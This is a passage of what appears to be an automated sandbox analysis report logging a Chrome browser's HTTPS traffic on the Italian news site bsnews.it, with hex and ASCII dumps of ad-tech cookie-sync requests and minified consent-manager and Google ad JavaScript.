r=2<arguments.length&&void 0!==arguments[2]?argument
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 5f 74 61 72 67 65 74 73 5b 74 2e 74 61 72 67 65 74 5d 3b 69 66 28 65 29 74 72 79 7b 65 5b 74 2e 6d 65 74 68 6f 64 4e 61 6d 65 5d 28 2e 2e 2e 74 2e 6d 65 74 68 6f 64 41 72 67 75 6d 65 6e 74 73 29 7d 63 61 74 63 68 28 65 29 7b 74 68 69 73 2e 5f 6c 6f 67 2e 65 72 72 6f 72 28 22 45 72 72 6f 72 20 77 68 69 6c 65 20 68 61 6e 64 6c 69 6e 67 20 6d 65 74 68 6f 64 20 63 61 6c 6c 20 22 2c 74 2c 65 29 7d 7d 7d 63 6c 61 73 73 20 49 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 29 7b 76 61 72 20 72 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 67 3b 6c 28 74 68 69 73 2c 22 5f 69 64 22 2c 76 6f 69 64 20 Data Ascii: ){const e=this._targets[t.target];if(e)try{e[t.methodName](...t.methodArguments)}catch(e){this._log.error("Error while handling method call ",t,e)}}}class I{constructor(e,t){var r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:g;l(this,"_id",void
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 2c 74 29 29 7d 73 65 6e 64 52 65 73 70 6f 6e 73 65 4d 65 73 73 61 67 65 28 65 2c 74 29 7b 76 61 72 20 72 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 6e 61 6d 65 3b 74 68 69 73 2e 5f 6c 6f 67 2e 64 65 62 75 67 28 22 53 65 6e 64 69 6e 67 20 72 65 73 70 6f 6e 73 65 20 6d 65 73 73 61 67 65 22 2c 65 2c 72 2c 74 29 2c 74 68 69 73 2e 5f 70 6f 73 74 4d 65 73 73 61 67 65 28 74 68 69 73 2e 5f 6d 65 73 73 61 67 65 46 61 63 74 6f 72 79 2e 63 72 65 61 74 65 52 65 73 70 6f 6e 73 65 28 65 2c 74 2c 72 29 29 7d 75 6e 69 63 61 73 74 4d 65 73 73 61 67 65 28 65 2c 74 29 7b 76 61 72 20 72 3d 32 3c 61 72 67 75 6d Data Ascii: ,t))}sendResponseMessage(e,t){var r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:t.constructor.name;this._log.debug("Sending response message",e,r,t),this._postMessage(this._messageFactory.createResponse(e,t,r))}unicastMessage(e,t){var r=2<argum
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 41 28 65 2c 45 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 44 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 62 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 22 4e 75 6d 62 65 72 22 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 22 4f 62 6a 65 63 74 22 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 72 29 7b 69 66 28 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 31 3b 69 66 28 52 28 65 29 7c 7c 4f 28 65 29 29 72 65 74 75 72 6e 21 28 30 3c 65 2e 6c 65 6e 67 74 68 29 3b 66 6f 72 Data Ascii: eturn A(e,E)}function O(e){return A(e,D)}function R(e){return A(e,b)}function x(e){return A(e,"Number")}function U(e){return A(e,"Object")}function L(e){return void 0!==e}function N(t,r){if(!function(e){if(!e)return 1;if(R(e)\|\|O(e))return!(0<e.length);for
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 69 6e 28 22 26 22 29 29 29 3a 22 22 29 2b 28 65 2e 68 61 73 68 3f 22 23 22 2e 63 6f 6e 63 61 74 28 65 2e 68 61 73 68 29 3a 22 22 29 3b 76 61 72 20 72 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 72 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 69 66 28 50 28 4d 61 74 68 2e 69 6d 75 6c 29 29 72 65 74 75 72 6e 20 4d 61 74 68 2e 69 6d 75 6c 28 65 2c 74 29 3b 76 61 72 20 72 3d 28 34 31 39 34 33 30 33 26 65 29 2a 28 74 7c 3d 30 29 3b 72 65 74 75 72 6e 20 34 32 39 30 37 37 32 39 39 32 26 65 26 26 28 72 2b 3d 28 34 32 39 30 37 37 32 39 39 32 26 65 29 2a 74 7c 30 29 2c 30 7c 72 7d 65 3d 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 65 3f 65 3a 30 3b 6c 65 74 20 73 3d 33 37 33 35 39 32 38 35 35 39 5e 65 2c 6e 3d 31 31 Data Ascii: in("&"))):"")+(e.hash?"#".concat(e.hash):"");var r}function j(r,e){function i(e,t){if(P(Math.imul))return Math.imul(e,t);var r=(4194303&e)(t\|=0);return 4290772992&e&&(r+=(4290772992&e)t\|0),0\|r}e=1<arguments.length&&void 0!==e?e:0;let s=3735928559^e,n=11
2024-03-28 08:51:23 UTC	1369	IN	Data Raw: 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 69 6e 63 6c 75 64 65 73 28 36 29 7c 7c 21 28 21 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 69 6e 63 6c 75 64 65 73 28 30 29 26 26 21 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 69 6e 63 6c 75 64 65 73 28 2d 31 29 26 26 30 21 3d 3d 74 68 69 73 2e 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 2e 6c 65 6e 67 74 68 29 26 26 28 76 6f 69 64 20 30 3d 3d 3d 74 68 69 73 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 50 75 72 70 6f 73 65 43 6f 6e 73 65 6e 74 7c 7c 74 68 69 73 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 50 75 72 70 6f 73 65 43 6f 6e 73 65 6e 74 29 7d 7d 63 6c 61 73 73 20 48 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 6c 28 74 Data Ascii: this.applicableSections.includes(6)\|\|!(!this.applicableSections.includes(0)&&!this.applicableSections.includes(-1)&&0!==this.applicableSections.length)&&(void 0===this.localStoragePurposeConsent\|\|this.localStoragePurposeConsent)}}class H{constructor(){l(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	50027	13.32.151.103	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	493	OUT	OPTIONS / HTTP/1.1 Host: geo.privacymanager.io Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://bsnews.it User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	705	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 0 Connection: close Date: Thu, 28 Mar 2024 08:51:23 GMT x-amzn-RequestId: 737d8678-1472-4718-848b-94f1bb8ba383 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,Authorization,X-Amz-Date,X-Api-Key,X-Amz-Security-Token x-amz-apigw-id: VVRd0HtLDoEELVA= Access-Control-Allow-Methods: DELETE,GET,HEAD,OPTIONS,PATCH,POST,PUT Via: 1.1 2b7c8ceb84f453714fcea5cf4f7202c8.cloudfront.net (CloudFront), 1.1 8bc7362fccd25faee5866bbedff892ee.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P4 X-Cache: Miss from cloudfront X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: O-WYr6aAxMgUHwRu8BT7HsML18CzDKh1bHEzBrPxACwu520Vf7DfaQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50023	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	876	OUT	GET /w/1.0/cm?id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d9a2346966ea&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fsync.richaudience.com%2Fa9b03dc9bdef0bcb818e9c4110ca0368%2F%3Fuid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	641	IN	HTTP/1.1 302 Found Set-Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; Version=1; Expires=Fri, 28-Mar-2025 08:51:23 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://us-u.openx.net/w/1.0/cm?cc=1&id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d9a2346966ea&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fsync.richaudience.com%2Fa9b03dc9bdef0bcb818e9c4110ca0368%2F%3Fuid%3D Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50022	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	881	OUT	GET /usermatch?s=201092&cb=https%3A%2F%2Fsync.richaudience.com%2F2066127a3f7c6635eb4f6cac536feb5a%2F%3Fgdpr%3D0%26euconsent%3D%26uid%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-03-28 08:51:23 UTC	1259	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Length: 0 Connection: close Location: /usermatch?cb=https%3A%2F%2Fsync.richaudience.com%2F2066127a3f7c6635eb4f6cac536feb5a%2F%3Fgdpr%3D0%26euconsent%3D%26uid%3D&gdpr=0&gdpr_consent=&s=201092&C=1 CF-Ray: 86b660c5a9ac8843-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:23 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:23 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:23 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AK9LEqOyYRcdXCzhgPBD24wSKX9hyWNPyGq8Fk2dDtrhKcmPcgLpNigdagKuYk0L7z9v4XpTxg6VQNxDt8Cny7U%2FPooRaiRRHd9ue6LjUQsocNh2DiT2DjlWgMbwqJp8W1ACS9LLTQpE2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50035	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	1935	OUT	GET /gampad/ads?pvsid=1536995679409651&correlator=4021198300896108&eid=31079957%2C31081973%2C95327887%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews_dsk_intro&enc_prev_ius=%2F0%2F1&prev_iu_szs=1000x500%7C1x8&ifi=1&didk=2826984766&sfv=1-0-40&eri=1&sc=1&cookie_enabled=1&abxe=1&dt=1711615881767&lmt=1711560111&adxs=0&adys=13555&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1&ucis=1&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1000x-1&fws=512&ohw=0&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzX2Rza19pbnRybyIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinstant%26refreshCount%3D0&cust_params=consent%3Dyes&adks=3120347037&frm=20 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Ad-Auction-Fetch: ?1 Origin: https://bsnews.it X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	1008	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it Google-LineItem-Id: 6491094638 Google-Creative-Id: 138458141890 Google-MediationGroup-Id: -2 Google-MediationTag-Id: -2 Date: Thu, 28 Mar 2024 08:51:23 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 28-Mar-2024 09:06:23 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:23 UTC	244	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 2f 31 35 30 31 33 34 35 38 30 2f 62 73 6e 65 77 73 5f 64 73 6b 5f 69 6e 74 72 6f 22 3a 5b 22 68 74 6d 6c 22 2c 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 38 2c 31 2c 30 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 5b 5b 22 49 44 3d 35 61 32 30 66 33 36 39 38 61 63 35 35 34 33 61 3a 54 3d 31 37 31 31 36 31 35 38 38 33 3a 52 54 3d 31 37 31 31 36 31 35 38 38 33 3a 53 3d 41 4c 4e 49 5f 4d 59 78 72 2d 71 4f 4b 4b 45 49 79 59 46 61 4b 62 39 6d 48 31 7a 4e 77 5a 7a 69 7a 77 22 2c 31 37 34 35 33 31 31 38 38 33 2c 22 2f 22 2c 22 62 73 6e 65 77 73 2e 69 74 22 2c 31 5d 2c 5b 22 55 49 44 3d 30 30 30 30 30 64 64 36 37 37 65 34 63 34 30 39 3a 54 3d 31 37 31 31 36 31 35 38 38 33 3a 52 54 3d 31 37 31 Data Ascii: 8000{"/150134580/bsnews_dsk_intro":["html",1,null,null,1,8,1,0,0,null,null,null,1,[["ID=5a20f3698ac5543a:T=1711615883:RT=1711615883:S=ALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw",1745311883,"/","bsnews.it",1],["UID=00000dd677e4c409:T=1711615883:RT=171
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 31 36 31 35 38 38 33 3a 53 3d 41 4c 4e 49 5f 4d 61 50 64 39 39 70 34 68 6c 65 58 6e 37 67 39 68 50 39 55 6d 67 68 74 73 69 6b 35 41 22 2c 31 37 34 35 33 31 31 38 38 33 2c 22 2f 22 2c 22 62 73 6e 65 77 73 2e 69 74 22 2c 32 5d 5d 2c 5b 31 33 38 34 35 38 31 34 31 38 39 30 5d 2c 5b 36 34 39 31 30 39 34 36 33 38 5d 2c 5b 35 33 37 33 37 32 36 34 37 34 5d 2c 5b 33 32 38 31 35 34 32 32 33 30 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 5b 36 37 36 39 38 32 39 36 31 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 41 4f 72 59 47 73 6b 4c 67 6c 56 4a 44 6f 34 55 6b 6b 32 39 62 46 6d 6f 73 56 31 54 5a 49 34 42 31 67 6a 44 66 74 54 42 77 4a 46 7a 4c 6f 5a 56 47 Data Ascii: 1615883:S=ALNI_MaPd99p4hleXn7g9hP9Umghtsik5A",1745311883,"/","bsnews.it",2]],[138458141890],[6491094638],[5373726474],[3281542230],null,null,null,null,null,null,null,1,[676982961],null,null,null,null,null,"AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 2a 2f 20 76 61 72 20 75 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 61 3a 7b 76 61 72 20 62 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 3b 66 6f 72 28 76 61 72 20 63 3d 75 2c 64 3d 30 3b 64 3c 62 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 69 66 28 63 3d 63 5b 62 5b 64 5d 5d 2c 6e 75 6c 6c 3d 3d 63 29 7b 62 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 62 3d 63 7d 61 3d 62 26 26 62 5b 61 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 3f 61 3a 21 31 7d 3b 76 61 72 20 62 61 3d 61 61 28 36 31 30 34 30 31 33 30 31 29 2c 63 61 3d 61 61 28 31 38 38 35 38 38 37 33 36 29 3b 76 61 72 20 76 3b 63 6f 6e 73 74 20 64 61 3d 75 2e Data Ascii: PDX-License-Identifier: Apache-2.0 */ var u=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=u,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1};var ba=aa(610401301),ca=aa(188588736);var v;const da=u.
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 65 28 6e 65 77 20 6d 61 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 69 66 28 22 62 6f 6f 6c 65 61 6e 22 21 3d 3d 74 79 70 65 6f 66 20 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 60 45 78 70 65 63 74 65 64 20 62 6f 6f 6c 65 61 6e 20 62 75 74 20 67 6f 74 20 24 7b 22 6f 62 6a 65 63 74 22 21 3d 62 3f 62 3a 61 3f 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 3f 22 61 72 72 61 79 22 3a 62 3a 22 6e 75 6c 6c 22 7d 3a 20 24 7b 61 7d 60 29 3b 7d 72 65 74 75 72 6e 20 61 7d 3b 6c 65 74 20 6f 61 3b 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 71 61 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 71 61 28 61 29 7b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 61 29 7b 63 61 73 65 20 22 6e 75 6d 62 65 Data Ascii: e(new ma);function na(a){if("boolean"!==typeof a){var b=typeof a;throw Error(`Expected boolean but got ${"object"!=b?b:a?Array.isArray(a)?"array":b:"null"}: ${a}`);}return a};let oa;function pa(a,b){return qa(b)}function qa(a){switch(typeof a){case "numbe
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 29 5d 3d 7b 7d 3b 67 7c 3d 32 35 36 7d 66 5b 63 5d 3d 64 3b 63 3c 65 26 26 28 61 5b 63 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 76 6f 69 64 20 30 29 3b 67 21 3d 3d 62 26 26 28 61 5b 47 5d 3d 67 29 7d 65 6c 73 65 20 61 5b 63 2b 28 2b 21 21 28 62 26 35 31 32 29 2d 31 29 5d 3d 64 2c 62 26 32 35 36 26 26 28 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 2c 63 20 69 6e 20 61 26 26 64 65 6c 65 74 65 20 61 5b 63 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 21 3d 63 26 26 22 73 74 72 69 6e 67 22 21 3d 3d 74 79 70 65 6f 66 20 63 29 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 72 65 74 75 72 6e 20 4c 28 61 2c 62 2c 63 29 7d 3b 76 61 72 20 4f 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 61 3a 7b 76 61 72 Data Ascii: )]={};g\|=256}f[c]=d;c<e&&(a[c+(+!!(b&512)-1)]=void 0);g!==b&&(a[G]=g)}else a[c+(+!!(b&512)-1)]=d,b&256&&(a=a[a.length-1],c in a&&delete a[c])}function N(a,b,c){if(null!=c&&"string"!==typeof c)throw Error();return L(a,b,c)};var O=class{constructor(){a:{var
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 62 7d 3b 76 61 72 20 50 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 3d 21 31 29 7b 74 68 69 73 2e 6b 65 79 3d 61 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 62 3b 74 68 69 73 2e 76 61 6c 75 65 54 79 70 65 3d 22 62 6f 6f 6c 65 61 6e 22 7d 7d 3b 76 61 72 20 76 61 3d 6e 65 77 20 50 28 22 34 35 33 36 38 32 35 39 22 29 2c 77 61 3d 6e 65 77 20 50 28 22 34 35 33 35 37 31 35 36 22 2c 21 30 29 2c 78 61 3d 6e 65 77 20 50 28 22 34 35 33 35 30 38 39 30 22 29 2c 79 61 3d 6e 65 77 20 50 28 22 34 35 34 31 34 38 39 32 22 29 3b 63 6f 6e 73 74 20 7a 61 3d 52 65 67 45 78 70 28 22 61 64 5c 5c 5c 5c 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 5c 5c 5c 5c 2e 6e 65 74 2f 64 64 6d 2f 74 72 61 63 6b 69 6d 70 22 29 3b 76 61 72 20 51 3d 28 61 2c 62 29 3d Data Ascii: b};var P=class{constructor(a,b=!1){this.key=a;this.defaultValue=b;this.valueType="boolean"}};var va=new P("45368259"),wa=new P("45357156",!0),xa=new P("45350890"),ya=new P("45414892");const za=RegExp("ad\\\\.doubleclick\\\\.net/ddm/trackimp");var Q=(a,b)=
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 3f 22 29 2c 30 3e 64 7c 7c 64 3e 63 3f 28 64 3d 63 2c 65 3d 22 22 29 3a 65 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 64 2b 31 2c 63 29 2c 61 3d 5b 61 2e 73 6c 69 63 65 28 30 2c 64 29 2c 65 2c 61 2e 73 6c 69 63 65 28 63 29 5d 2c 63 3d 61 5b 31 5d 2c 61 5b 31 5d 3d 62 3f 63 3f 63 2b 22 26 22 2b 62 3a 62 3a 63 2c 62 3d 61 5b 30 5d 2b 28 61 5b 31 5d 3f 22 3f 22 2b 61 5b 31 5d 3a 22 22 29 2b 61 5b 32 5d 29 3a 62 3d 61 3b 72 65 74 75 72 6e 20 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 48 61 28 29 7b 69 66 28 21 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 29 72 65 74 75 72 6e 20 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 74 72 79 7b 63 6f 6e 73 74 20 61 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 3b 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 2e Data Ascii: ?"),0>d\|\|d>c?(d=c,e=""):e=a.substring(d+1,c),a=[a.slice(0,d),e,a.slice(c)],c=a[1],a[1]=b?c?c+"&"+b:b:c,b=a[0]+(a[1]?"?"+a[1]:"")+a[2]):b=a;return b};function Ha(){if(!globalThis.crypto)return Math.random();try{const a=new Uint32Array(1);globalThis.crypto.
